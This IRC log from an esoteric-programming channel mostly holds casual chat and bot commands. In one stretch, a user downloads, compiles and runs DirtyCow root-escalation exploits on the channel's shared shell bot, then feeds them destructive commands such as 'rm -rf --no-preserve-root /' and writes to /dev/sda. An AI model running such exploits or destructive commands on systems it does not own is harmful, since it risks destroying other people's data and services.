10:52:50 <hppavilion[1]> "deconjugating" is a fun word
10:52:57 <Jafet> there should be sse4 instructions for the same thing, but at half speed
10:53:18 <Jafet> not sure what "half speed" is, since it may be memory-limited
10:54:59 <Jafet> hey fungot, guess what
10:54:59 <fungot> Jafet: you know aheui uses hangul, so no directx. it's the only scheme implementation i know behaves this way... but who cares
11:01:51 <izalove> Jafet: can you make yours a complete program and then compare it vs mine on your machine? https://gist.github.com/izabera/03e42d25d0434fe6857172e01f9a95ed
11:21:54 <Jafet> hmm, I'm writing an sse4 version but gcc doesn't seem to have a 8->128 bit broadcast intrinsic
11:27:46 <Jafet> izalove: http://sprunge.us/ZFKg?c
11:27:54 <Jafet> the table lookup is surprisingly competitive
11:35:22 -!- boily has joined.
11:36:38 <izalove> you rerolled my unrolled loop :C
11:40:24 -!- AnotherTest has joined.
11:52:41 -!- LKoen has joined.
12:05:54 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
12:08:02 <boily> fungot: you roll 2d6.
12:08:03 <fungot> boily: i can assign an ordinal number n that can't be right. the communists under that era is harder so the distinction wouldn't be very hard
12:10:01 -!- Phantom_Hoover has joined.
12:10:28 <izalove> https://www.kickstarter.com/projects/1684041218/bud-spencer-and-terence-hill-slaps-and-beans so cool
12:10:29 <boily> fungot: then don't do it.
12:10:30 <fungot> boily: is it worth time invested to learn it anymore.
12:10:38 <boily> fungot: yes, but don't do it.
12:10:38 <fungot> boily: ' the main loop
12:10:43 <boily> fungot: noooooooo!
12:10:43 <fungot> boily: or " miss scheme"...
12:10:55 <boily> fungot: we have a Miss Scheme?
12:11:00 <Jafet> gcc seems to unroll it anyway (and eliminates the memcpy)
12:11:47 <Jafet> most impressively, gcc automatically vectorises the simple version
12:28:04 -!- boily has quit (Quit: VESPERAL CHICKEN).
12:34:52 <fizzie> `words --finnish 10
12:34:57 <HackEgo> ystävämme yksineessänne keillisi seltani suurtumaksen vanne tyhjellämille laulukuppeille mattelegemiksen tyyneistammilleman
12:37:03 <fizzie> Only two real words (ystävämme, vanne) this time.
12:37:17 <izalove> `which words
12:37:18 <HackEgo> ​/hackenv/bin/words
12:37:19 <fizzie> Although "laulukupeille" would have been fine as well.
12:37:34 <izalove> `paste /hackenv/bin/words
12:37:35 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/words
12:38:12 <izalove> `words --italian 10
12:38:13 <HackEgo> addotti ripendovia moni decessi siedetta levitubato grarecifrando sole conto vieresti
12:38:24 <izalove> that's pretty good
13:10:02 -!- fractal has quit (Ping timeout: 276 seconds).
13:20:47 -!- Deewiant has quit (*.net *.split).
14:09:26 -!- otherbot has joined.
14:26:45 <fizzie> In case someone remembers my previous rant about my mobile operator starting to show rounded-to-whole-gigabytes as the remaining data allowance -- now they've switched to what appears to be megabytes but with "Gigabytes" as the unit.
14:27:03 <fizzie> Either that, or they've bumped my allowance up to 316.98 gigabytes, which sounds unlikely.
14:27:12 <fizzie> (Especially since yesterday's value was >400.)
14:56:24 -!- DHeadshot has joined.
14:59:14 <Phantom_Hoover> `words --list
14:59:16 <HackEgo> valid datasets: --eng-1M --eng-all --eng-fiction --eng-gb --eng-us --french --german --hebrew --russian --spanish --irish --german-medical --bulgarian --catalan --swedish --brazilian --canadian-english-insane --manx --italian --ogerman --portuguese --polish --gaelic --finnish --norwegian --esolangs \ default: --eng-1M
14:59:25 <Phantom_Hoover> `words --gaelic
14:59:26 <HackEgo> cònspeur
14:59:32 <Phantom_Hoover> `words --gaelic 10
14:59:33 <HackEgo> pàran bealbh bainntach bastap fògrafann shlian meirceannraic mùire deugh sgrùn
14:59:47 <Phantom_Hoover> chillingly real
15:00:00 <Phantom_Hoover> `words --irish 10
15:00:01 <HackEgo> b'ail láil span-ghaeilp nostúnach oslaith b'oir réithnigh speictrean sciúlaithe stungáiniseacuadóir
15:00:19 <Phantom_Hoover> i love the escalation in that one
15:00:31 <Phantom_Hoover> `words --canadian-english-insane
15:00:32 <HackEgo> outterora
15:00:40 <Phantom_Hoover> `words --canadian-english-insane 10
15:00:40 <HackEgo> reotesid scon neoclimned della rukarene stermitructic lity catinacope oatasel nibrin
15:00:58 <Phantom_Hoover> fizzie, what the fuck is this dataset from
15:03:40 <scoofy_> canadian english
15:04:04 <Phantom_Hoover> that's not canadian english, that's not even zzo38 canadian english
15:04:56 -!- firestar has joined.
15:04:57 <firestar> moo2
15:08:38 -!- Deewiant has joined.
15:09:01 <fizzie> Phantom_Hoover: https://github.com/en-wl/wordlist/tree/master/scowl/r I believe.
15:09:13 <firestar> hizzie!
15:11:47 -!- fractal_ has joined.
15:17:04 -!- firestar has changed nick to rtw.
15:17:06 -!- rtw has changed nick to moony.
15:18:41 -!- moony has changed nick to firestar.
15:26:09 -!- DHeadshot has quit (Ping timeout: 256 seconds).
15:28:13 -!- DHeadshot has joined.
15:29:48 -!- firestar has changed nick to fireheart.
15:30:00 -!- fireheart has changed nick to firepaw.
15:30:07 -!- firepaw has changed nick to rusty.
15:30:11 -!- rusty has changed nick to fireheart.
15:30:38 <FaerieFly> `words --swedish 10
15:30:41 <HackEgo> jagarna frand kladen glig betiska fri regiers besträd fullhande raktadletsfunktighet
15:30:44 <int-e> `` cd wisdom; grep -r wetsuit .
15:30:55 <HackEgo> No output.
15:31:30 <int-e> (today's xkcd is disturbing me)
15:31:45 <FaerieFly> `words --english 10
15:31:47 <HackEgo> Unknown option: english
15:31:52 <FaerieFly> `words 10
15:31:54 <HackEgo> socit verne stropl adsupplichristi moor caldenicotejno cresso han wethumbonalove nicknownship
15:32:07 <FaerieFly> nicknownship!
15:32:19 <int-e> `coins
15:32:21 <HackEgo> frangcoin pophycoin spacoptinycoin pietcoin twearandcoin murphycoin celancoin 21scoin wikincoin befreafcoin spirancoin superfecoin plattcoin brainfinoccoin impcoin bonnonalcoin ratinockermecoin barbifcoin fancoin poorzacoin
15:34:11 <FaerieFly> `words --eng-gb 10
15:34:12 <HackEgo> sorthseoti tep xant fourae coiilkmgd eur bbroon dam phistra toura
15:34:33 <FaerieFly> eur is an important word in the british english vocabulary
15:41:33 <Phantom_Hoover> fizzie, but the canadian one specifically?
15:43:07 <fizzie> Phantom_Hoover: They're all related.
15:44:27 <fizzie> `coins --canadian-english-insane
15:44:29 <HackEgo> rudibiltcoin
15:44:33 <fizzie> `coins --canadian-english-insane 10
15:44:34 <HackEgo> carbertilycoin congcoin adminatedcoin syboscophcoin impatedcoin sworthyredcoin grypsidhologiccoin rosacravecoin tanaereasotcoin stbullagecoin
16:38:53 -!- `^_^v has quit (Quit: This computer has gone to sleep).
16:43:22 -!- LKoen has quit (Remote host closed the connection).
16:45:15 -!- imode has joined.
16:49:41 -!- DHeadshot has quit (Ping timeout: 260 seconds).
16:51:02 <\oren\> https://www.youtube.com/watch?v=gPgv5WDT6s0
16:57:27 -!- oerjan has joined.
16:58:16 -!- imode has quit (Ping timeout: 260 seconds).
16:58:17 <oerjan> http://www.the-whiteboard.com/ is giving freefall some competition for longwindedness
16:58:34 <oerjan> except while freefall has sped up some, the whiteboard has slowed.
16:59:56 <oerjan> (funny thing, i was reminded of this just a moment _before_ loading today's comic)
17:00:55 -!- LKoen has joined.
17:04:23 <oerjan> (there was, of course, plenty of action in that long day.)
17:05:40 -!- kline has changed nick to killedline.
17:05:41 -!- fireheart has changed nick to mad_scientist.
17:07:10 -!- mad_scientist has changed nick to moony_the_lycan.
17:09:22 -!- LKoen has quit (Remote host closed the connection).
17:10:01 -!- DHeadshot has joined.
17:12:20 -!- moony_the_lycan has changed nick to man_in_horse_mas.
17:12:38 -!- man_in_horse_mas has changed nick to maninhorsemask.
17:13:12 -!- maninhorsemask has changed nick to moony_the_lycan.
17:13:13 <oerjan> someone is trying out halloween costumes.
17:13:31 <moony_the_lycan> oerjan, :p nah, halloween nicknames
17:13:49 -!- oerjan has changed nick to oerbraaains.
17:14:39 -!- oerbraaains has changed nick to oerjan.
17:19:59 -!- doesthiswork has joined.
17:20:51 -!- imode has joined.
17:22:16 <oerjan> `? wetsuit
17:22:17 <HackEgo> wetsuit? ¯\(°​_o)/¯
17:22:54 <moony_the_lycan> `? Halloween
17:22:54 <HackEgo> Halloween ? ¯\(°​_o)/¯
17:35:06 -!- LKoen has joined.
17:35:48 -!- iaglium_ has quit (Ping timeout: 250 seconds).
17:40:23 -!- xfix has quit (Quit: No Ping reply in 180 seconds.).
17:41:09 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
17:42:10 -!- Cale has quit (Ping timeout: 256 seconds).
17:42:12 -!- Lord_of_Life has joined.
17:42:31 -!- xfix has joined.
17:45:37 -!- Cale has joined.
17:49:36 <shachaf> oerjan: what did i do tdnh
17:49:47 <shachaf> oerjan: I thought someone said something about the revert bug being fixed.
17:51:24 -!- DHeadshot has quit (Ping timeout: 250 seconds).
17:52:01 <oerjan> shachaf: yes, but Gregor needs to actually apply the PR
17:52:08 <oerjan> and he's so very idle
17:52:26 <shachaf> isn't it fixed even before the press release is applied
17:52:37 <oerjan> not in running HackEgo
17:53:39 -!- DHeadshot has joined.
17:59:12 <int-e> Gregor's too busy professing.
18:01:56 <b_jonas> shachaf: we can't just fix a bug. there are procedures for this stuff. only the <insert fancy management acronym job title here> can permit modifying the status of a bug.
18:02:09 <oerjan> i guess his immediate reaction to the previous PR was just a fluke :P
18:03:07 <int-e> bah, GG, I didn't want a wallpaper...
18:03:48 <int-e> it's not even the 31st yet!
18:05:37 <int-e> okay, Sandra & Woo made up for it (I feel safer already...)
18:07:15 <int-e> gaia advances the plot but ends in a cliffhanger
18:13:48 -!- clog has quit (Ping timeout: 260 seconds).
18:15:16 <fizzie> b_jonas: We must first promote to the staging branch, after which the integration engineer merges the fix to the QA branch, and only once it's tested can we even begin thinking of starting the process of promoting the change to production.
18:16:55 -!- Zarutian has joined.
18:39:31 <moony_the_lycan> how do i download files to hackego again? i wish to test something
18:39:55 <oerjan> `help
18:39:55 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:41:49 <moony_the_lycan> `fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
18:41:54 <HackEgo> 2016-10-28 17:40:56 URL:https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c [4688/4688] -> "cowroot.c" [1]
18:41:56 <moony_the_lycan> `ls
18:41:57 <HackEgo> bin \ canary \ cdescs \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
18:42:03 <moony_the_lycan> `gcc cowroot.c
18:42:08 <HackEgo> cowroot.c: In function ‘procselfmemThread’: \ cowroot.c:98:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default] \ In file included from cowroot.c:27:0: \ /usr/include/unistd.h:331:16: note: expected ‘__off_t’ but argument is of type ‘void *’ \ /tmp/cct6jpFP.o: In function `main': \
18:42:16 <moony_the_lycan> `ls
18:42:17 <HackEgo> bin \ canary \ cdescs \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
18:42:27 <imode> so does hackego just run in a dummy container or something.
18:42:45 <oerjan> imode: usermode linux
18:42:57 <imode> interesting.
18:42:58 <moony_the_lycan> `gcc -pthread cowroot.c -o cowroot
18:42:59 <HackEgo> gcc: error: unrecognized command line option ‘-pthread cowroot.c -o cowroot’ \ gcc: fatal error: no input files \ compilation terminated.
18:43:11 <moony_the_lycan> `` gcc -pthread cowroot.c -o cowroot
18:43:14 <HackEgo> cowroot.c: In function ‘procselfmemThread’: \ cowroot.c:98:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default] \ In file included from cowroot.c:27:0: \ /usr/include/unistd.h:331:16: note: expected ‘__off_t’ but argument is of type ‘void *’
18:43:14 <oerjan> umlbox, was the name
18:43:19 -!- MoALTz has joined.
18:43:22 <moony_the_lycan> `ls
18:43:23 <HackEgo> bin \ canary \ cdescs \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
18:43:31 <imode> nice.
18:43:40 <moony_the_lycan> `` ./cowroot; ls /dev/mem
18:43:43 <int-e> `` uname -a
18:43:45 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
18:44:10 <HackEgo> bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.2$
18:44:24 <imode> that's actually pretty nice. so instead of having a scriptable bot, you just have an entire linux machine on the other end.
18:44:39 <moony_the_lycan> imode, mhm ^_^
18:44:45 <moony_the_lycan> we have a habit of tinkering with it
18:44:51 <imode> I've seen.
18:44:58 <imode> user-extendability too.
18:45:31 <moony_the_lycan> my hobby: futile attempts at root escalation alongside my derpiness :P
18:45:47 <imode> hey, pentesting is good. :P
18:45:48 <moony_the_lycan> seems ./cowroot worked.
18:45:57 <moony_the_lycan> lol. hackego is vulnerable :p
18:45:59 <oerjan> imode: moreover, each command runs in its own vm
18:46:24 <imode> I wonder what the harm would be to just forego the sandboxing.
18:46:30 <imode> blank linux machine.
18:46:46 <imode> isolated from the network of course.
18:47:09 <moony_the_lycan> imode, someone would fry it
18:47:13 <moony_the_lycan> :p
18:47:20 <int-e> . o O ( and with a disconnected power supply )
18:47:24 <moony_the_lycan> the vm we have is recoverable thanksto the power of HG
18:47:34 <moony_the_lycan> `url
18:47:35 <HackEgo> http://codu.org/projects/hackbot/fshg/
18:47:38 <imode> trust is a powerful thing..
18:47:51 <moony_the_lycan> yes, but you cant trust us, nor can Gregor :p
18:47:57 <imode> lol.
18:48:49 <imode> a trusting box, I guess, is boring.
18:49:30 <imode> public-use, everybody has root. I guess one thing you'd want is for it to be snapshotted every 10 minutes or so.
18:50:10 <moony_the_lycan> imode, the hackego sandbox is snapshotted each time a command is ran, currently 700mb of snapshots if i remember correctly
18:50:34 <imode> heh.
18:51:16 <moony_the_lycan> `` ./cowroot < (echo "rm -rf --no-preserve-root /")
18:51:17 <HackEgo> ​/hackenv/bin/`: eval: line 4: syntax error near unexpected token `(' \ /hackenv/bin/`: eval: line 4: `./cowroot < (echo "rm -rf --no-preserve-root /")'
18:51:20 <moony_the_lycan> ):
18:51:23 <oerjan> well, only if some file has changed.
18:51:28 <moony_the_lycan> true
18:51:57 <oerjan> moony_the_lycan: you cannot crack if you cannot remember syntax. well known fact.
18:52:27 <moony_the_lycan> imode, hackego's sandbox is opensource btw, and it was written by hackego's creator, Gregor, as well
18:52:40 <imode> umlbox as it's been mentioned.
19:10:15 <moony_the_lycan> `` echo "rm -rf --no-preserve-root /" | ./cowroot
19:10:57 <moony_the_lycan> `echo ping
19:11:10 <moony_the_lycan> HackEgo smells ded
19:11:53 <oerjan> `/bin/echo ping
19:12:03 <moony_the_lycan> oerjan, smells ded
19:12:07 <HackEgo> rm: cannot remove `/sys/fs/ext4/features/meta_bg_resize': Permission denied \ rm: cannot remove `/sys/fs/ext4/features/batched_discard': Permission denied \ rm: cannot remove `/sys/fs/ext4/features/lazy_itable_init': Permission denied \ rm: cannot remove `/sys/fs/cgroup': Permission denied \ rm: cannot remove `/sys/bus/cpu/devices/cpu0': Permission
19:12:26 <HackEgo> ping
19:12:27 <HackEgo> ping
19:12:29 <oerjan> moony_the_lycan: oh, it was just in a long locking computation
19:12:34 <moony_the_lycan> aww
19:12:35 <oerjan> `ls
19:12:36 -!- imode has quit (Ping timeout: 260 seconds).
19:12:37 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:12:39 <moony_the_lycan> looks like i tried and failes
19:12:50 <moony_the_lycan> `` rm -rf /
19:12:51 <HackEgo> rm: it is dangerous to operate recursively on `/' \ rm: use --no-preserve-root to override this failsafe
19:12:55 <moony_the_lycan> `` rm -rf `
19:12:57 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
19:12:57 <moony_the_lycan> `` rm -rf .
19:12:58 <HackEgo> rm: cannot remove directory: `.'
19:12:59 <moony_the_lycan> `` rm -rf ~
19:13:00 <HackEgo> rm: cannot remove `/tmp': Permission denied
19:13:04 <moony_the_lycan> `ls
19:13:05 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:13:12 <moony_the_lycan> invinciego
19:13:13 <moony_the_lycan> :p
19:13:27 <moony_the_lycan> `` echo "id" | ./cowroot
19:13:31 <HackEgo> uid=5000 gid=658764 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:13:59 <oerjan> gah i cannot load the repo browser
19:14:08 <oerjan> `echo hi
19:14:08 <moony_the_lycan> `url
19:14:09 <HackEgo> hi
19:14:09 <HackEgo> http://codu.org/projects/hackbot/fshg/
19:14:26 <moony_the_lycan> smells fishy
19:14:56 <oerjan> `lastfiles
19:14:57 <HackEgo> cowroot
19:15:15 <oerjan> `hoat
19:15:19 <moony_the_lycan> i THINK i might have killed the repo badly
19:15:19 <HackEgo> Initial import. \ <ellioẗt> addquote <olsner> the allocation is done by the "Dynamic" in DRAM <olsner> before that we used SRAM where everything was preallocated in the factory <fizzie> olsner: So what's this SDRAM then? <olsner> fizzie: synchronized, it's for multithreading \ <Gregör> pastelogs treederwright \ <oerjän> pastelogs taneb.*d
19:15:24 <oerjan> oops
19:15:28 <oerjan> `hoag
19:15:31 <HackEgo> ​<moony_the_lycän> ` gcc -pthread cowroot.c -o cowroot \ <moony_the_lycän> fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c \ <oerjän> forget temperature \ <oerjän> slwd oxford//s/T/Oxford is t/ \ <hppavilion[1̈]> learn Temperature is measured in term
19:15:46 <oerjan> nothing registered after your compilation
19:16:02 <oerjan> `learn Testing is always appropriate.
19:16:05 <HackEgo> Relearned 'testing': Testing is always appropriate.
19:16:08 <oerjan> `? testing
19:16:08 <moony_the_lycan> `hoag
19:16:09 <HackEgo> Testing is always appropriate.
19:16:09 <HackEgo> ​<oerjän> learn Testing is always appropriate. \ <moony_the_lycän> ` gcc -pthread cowroot.c -o cowroot \ <moony_the_lycän> fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c \ <oerjän> forget temperature \ <oerjän> slwd oxford//s/T/Oxford is t/ \ <hppa
19:16:16 <oerjan> looks fine so far
19:16:58 <moony_the_lycan> `cat /usr/bin/passwd
19:16:59 <HackEgo> ​ELF............>.....;@.....@.......˜À..........@.8..@.........@.......@.@.....@.@.....ø.......ø................. ...8......8@.....8@............................................@.......@.....̞......̞........ ............¸­......¸­`.....¸­`.....ð......p........ ...........Э......Э`.....Э`........................ ..
19:17:20 <moony_the_lycan> veery fishy
19:17:38 * moony_the_lycan blames the elven hippies
19:19:02 <moony_the_lycan> oerjan, so you think it may have worked?
19:19:11 <moony_the_lycan> `passwd
19:19:13 <HackEgo> passwd: Cannot determine your user name.
19:19:57 -!- AnotherTest has quit (Ping timeout: 260 seconds).
19:20:08 -!- zzo38 has joined.
19:20:09 -!- AnotherTest has joined.
19:20:36 <moony_the_lycan> zzo38, i MAY have done a thing hackego's systems dont like :p
19:20:52 <zzo38> What thing is that?
19:21:03 <moony_the_lycan> `` ./cowroot
19:21:34 <HackEgo> bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.2$
19:21:55 <moony_the_lycan> `` echo "ls /hackenv" |./cowroot
19:22:00 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ R
19:22:22 <moony_the_lycan> `` ls /hackenv
19:22:23 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:22:26 <moony_the_lycan> oh
19:22:44 <moony_the_lycan> `` echo "whoami" |./cowroot
19:22:47 <HackEgo> whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:27:09 -!- Zarutian has quit (Ping timeout: 268 seconds).
19:29:02 <moony_the_lycan> `fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
19:29:04 <HackEgo> 2016-10-28 18:28:07 URL:https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c [2826/2826] -> "dirtyc0w.c" [1]
19:29:31 <moony_the_lycan> `` gcc -ptrace dirtyc0w.c -o dirtyc0w
19:29:31 <HackEgo> gcc: error: unrecognized command line option ‘-ptrace’
19:29:47 <moony_the_lycan> `` gcc -pthread dirtyc0w.c -o dirtyc0w
19:29:50 <HackEgo> No output.
19:30:14 <moony_the_lycan> `` echo "this is a test" > foo; chmod 404 foo
19:30:16 <HackEgo> No output.
19:30:24 <moony_the_lycan> `` ls -la foo
19:30:25 <HackEgo> ​-r-----r-- 1 5000 0 15 Oct 28 18:29 foo
19:31:05 <moony_the_lycan> whats a root only file on hackego? :P
19:31:11 <moony_the_lycan> `` cat /dev/mem
19:31:11 <HackEgo> cat: /dev/mem: Permission denied
19:31:24 <moony_the_lycan> `` ./dirtyc0w /dev/mem lel
19:31:43 <moony_the_lycan> :)
19:31:55 <HackEgo> No output.
19:31:56 <moony_the_lycan> `` ./dirtyc0w /dev/sda lel
19:32:05 <moony_the_lycan> `ls
19:32:06 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:32:26 <HackEgo> No output.
19:32:28 <moony_the_lycan> `ls
19:32:29 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:32:31 <moony_the_lycan> ):
19:32:34 -!- ais523 has joined.
19:32:52 <moony_the_lycan> ` echo "lel" > /dev/sda
19:32:53 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:32:56 <moony_the_lycan> ` echo "lel" > /dev/sda1
19:32:56 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:33:01 <moony_the_lycan> :p
19:33:09 <moony_the_lycan> ` echo "lel"
19:33:10 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:33:12 <moony_the_lycan> :)
19:33:19 <moony_the_lycan> fizzie, its ded
19:33:23 * int-e sighs
19:33:27 <ais523> moony_the_lycan: you're screwing up the syntax
19:33:29 <ais523> `` echo "lel"
19:33:30 <HackEgo> lel
19:33:36 <moony_the_lycan> oh
19:33:47 <ais523> a lone ` would execute the command whose name is the null string
19:33:52 <ais523> which is not a valid filename on most OSes
19:33:58 <ais523> `` cat > ''
19:33:59 <HackEgo> ​/hackenv/bin/`: line 4: : No such file or directory
19:34:10 <ais523> although that's an interesting error message to get in that situation
19:34:15 <moony_the_lycan> ` echo "lel" > /dev/sda1
19:34:15 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:34:21 <moony_the_lycan> `` echo "lel" > /dev/sda1
19:34:21 <HackEgo> ​/hackenv/bin/`: line 4: /dev/sda1: Read-only file system
19:34:30 <moony_the_lycan> `` ./dirtyc0w /dev/sda1 lel
19:35:00 <HackEgo> No output.
19:35:03 <moony_the_lycan> `ls
19:35:04 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:35:27 -!- otherbot has changed nick to otterbot.
19:37:44 <moony_the_lycan> `` rm -rf /hackenv
19:37:49 <moony_the_lycan> im bored :P
19:38:08 <HackEgo> rm: cannot remove `/hackenv/.hg/.branchheads.cache-2RY4L9': Read-only file system \ rm: cannot remove `/hackenv/.hg/store/dh/node-v0_/lib/node_mod/npm/node_mod/npm-regi/node_mod/couch-lo/package.json.aa673ea164dbf2e331c8c0d43ba31c9c6e4305a9.i': Read-only file system \ rm: cannot remove `/hackenv/.hg/store/dh/node-v0_/lib/node_mod/npm/node_mod/npm-r
19:38:53 <moony_the_lycan> `ls
19:39:03 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:54:32 -!- Zarutian has joined.
19:59:41 <oerjan> `lastfiles
19:59:43 <HackEgo> foo
19:59:57 <oerjan> `hoag
19:59:57 <HackEgo> ​<moony_the_lycän> ` echo "this is a test" > foo; chmod 404 foo \ <moony_the_lycän> ` gcc -pthread dirtyc0w.c -o dirtyc0w \ <moony_the_lycän> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c \ <oerjän> learn Testing is always appropriate. \ <moony_the_lycän> ` gcc -pthread cowroot.c -o cowroot \ <moo
20:10:18 <shachaf> `url
20:10:18 <HackEgo> http://codu.org/projects/hackbot/fshg/
20:10:37 <shachaf> `revert 9484
20:10:39 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
20:12:09 <oerjan> `lastfiles
20:12:10 <HackEgo> cowroot cowroot.c dirtyc0w dirtyc0w.c foo wisdom/testing
20:13:57 <shachaf> `? shaventions
20:13:58 <HackEgo> shaventions include: before/now/lastfiles, culprits, hog/{h,d}oag, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
20:14:31 <shachaf> do you remember the good old days before before/now/lastfiles/culprits/*o*g/le//rn/tmp/mkx/sled/sedlast/spam
20:15:07 -!- clog has joined.
20:15:16 <shachaf> wait, even *o*g doesn't cover it anymore, with doat etc.
20:15:35 <shachaf> `dowt hoag
20:15:37 <HackEgo> 2016-10-27 <oerjän> le/rn hoag/`[hd]o[aw][gt] [<filename>] is a set of commands for querying HackEgo logs. `hoag is the basic version. d adds dates, w looks only in wisdom, and t lists in reverse. \ 2016-10-27 <oerjän> le/rn hoag/`[hd]o[aw][gt] [<filename>] is a set of commands for querying HackEgo hg logs. `hoag is the basic version. d adds da
20:27:26 -!- doesthiswork has quit (Quit: Leaving.).
20:29:51 <oerjan> shachaf: ?o?? hth
20:29:59 <shachaf> `` ls bin/?o??
20:30:01 <HackEgo> bin/doag \ bin/doat \ bin/dowg \ bin/dowt \ bin/good \ bin/hoag \ bin/hoat \ bin/howg \ bin/howt \ bin/pong \ bin/roll \ bin/rot0 \ bin/word
20:30:07 <shachaf> oerjan: that doesn't cover hog, anyway
20:30:42 <moony_the_lycan> `rot0 lol
20:30:43 <HackEgo> lol
